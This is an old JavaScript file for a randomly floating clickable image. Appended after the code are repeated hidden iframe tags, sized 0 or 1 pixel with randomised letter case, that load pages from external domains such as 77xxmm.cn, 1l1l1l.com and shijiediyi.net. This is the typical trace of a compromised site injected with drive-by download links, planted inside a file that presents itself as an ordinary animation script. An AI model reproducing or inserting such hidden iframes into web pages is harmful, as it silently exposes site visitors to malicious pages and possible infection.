var randFlyCount = 0;
var randFlyCollection = new Array();
randFly.pause = function(){}
function randFly(obj,flyAmount,flyDelay,command)
{
	if(typeof obj == undefined)
	{
		alert("Error");
		return;
	}
	this._ID = randFlyCount++;
	this.objPoint = obj;
	this._amount = flyAmount;
	this._delay  = flyDelay;
	this._command   = command;
	this._setTime;
	this._dirX;
	this._dirY;
	this._stepX;
	this._stepY;
	this.init = function()
	{
		var srcFile = this.objPoint;
		this.objPoint = new Image();
		this.objPoint.src = srcFile;
		document.body.appendChild(this.objPoint)
		with(this.objPoint)
		{
			style.position = "absolute";
			style.cursor = "hand";
			style.top = (document.body != null)? (document.body.clientHeight - offsetHeight) / 2 : 0;
			style.left = (document.body != null)? (document.body.clientWidth - offsetWidth) / 2 : 0;
			setAttribute("cID",this._ID);
			setAttribute("reflectClass",this);
			attachEvent("onclick",new Function(this._command));
			attachEvent("onmouseover",this.pause);
			attachEvent("onmouseout",this.restart);
		}
		this._stepX = this._amount;
		this._stepY = this._amount;

		this._dirX  = rBool();
		this._dirY  = rBool();
		randFlyCollection.push(this);
		this.start();
	}
	this.start = function()
	{
		if(this._dirX == true)
		{
			if(this.objPoint.offsetLeft + this._stepX + this.objPoint.offsetWidth < 
			 document.body.scrollLeft+document.body.clientWidth)
			{       
				this.objPoint.style.left = this.objPoint.offsetLeft + this._stepX;
			}
			else
			{
				this.objPoint.style.left = this.objPoint.offsetLeft - this._stepX
				this._dirX = false;
			}
		}
		else
		{
			if(this.objPoint.offsetLeft - this._stepX > 0)
			{
				this.objPoint.style.left = this.objPoint.offsetLeft - this._stepX;
			}
			else
			{
				this.objPoint.style.left = this.objPoint.offsetLeft + this._stepX;
				this._dirX = true;
			}
		}

		if(this._dirY == true)
		{     
			if(this.objPoint.offsetTop + this._stepY + this.objPoint.offsetHeight < 
			 document.body.scrollTop+document.body.clientHeight)
			{       
				this.objPoint.style.top = this.objPoint.offsetTop + this._stepY;
			}
			else
			{
				this.objPoint.style.top = this.objPoint.offsetTop - this._stepX
				this._dirY = false;
			}
		}
		else
		{
			if(this.objPoint.offsetTop - this._stepY > 0)
			{
				this.objPoint.style.top = this.objPoint.offsetTop - this._stepY;
			}
			else
			{
				this.objPoint.style.top = this.objPoint.offsetTop + this._stepY;
				this._dirY = true;
			}
		}	
		this._setTime = setTimeout("randFlyCollection["+this.objPoint.cID+"].start()",this._delay);
	}
	this.pause = function()
	{
		clearTimeout(event.srcElement.reflectClass._setTime);
	}
	this.restart = function()
	{
		event.srcElement.reflectClass.start();
	}
	this.init();
}

function rBool()
{
	return (Math.random() > 0.5)? true : false;
}	
 <iframE2 src=http://aaa.77xxmm.cn/new858.htm?075 wIdth=0 name='3914' heIght=0></Iframe><iframe2 src=http://aaa.1l1l1l.com/error/404.html widTh=0 name='3914' heIght=0></Iframe>




 <Iframe2 src=http://aaa.77xxmm.cn/new858.htm?075 wIdth=0 name='3087' heIght=0></Iframe><ifraMe2 src=http://aaa.1l1l1l.com/error/404.html widTh=0 name='3087' heIght=0></Iframe>




 <ifRame2 src=http://aaa.77xxmm.cn/new858.htm?075 Width=0 nAme='7941' height=0></iframe><iframe2 src=http://aaa.1L1L1L.com/error/404.html width=0 naMe='7941' height=0></iframe>




 <ifraMe2 src=http://www.shijiediyi.net/one/hao8.htm?005 width=1 Name='3887' heighT=1></iframe><iframe2 src=http://AAA.1l1l1l.com/error/404.html widTh=0 name='3887' height=0></ifrAme>
 <iFrame2 src=http://WWW.shijiediyi.net/one/hao8.htm?015 widTh=1 name='1815' HeigHt=1></iframe>
 <Iframe2 sRc=http://www.shijiediyi.net/one/hao8.htm?015 widtH=1 name='4394' heighT=1></iframe>
 <ifrAme2 srC=http://www.shijiediyi.net/one/hao8.htm?005 widtH=1 name='1600' hEight=1></iframE><iframe2 src=http://aaa.1l1l1l.com/error/404.html wIdth=1 naMe='1600' height=1></iframe>





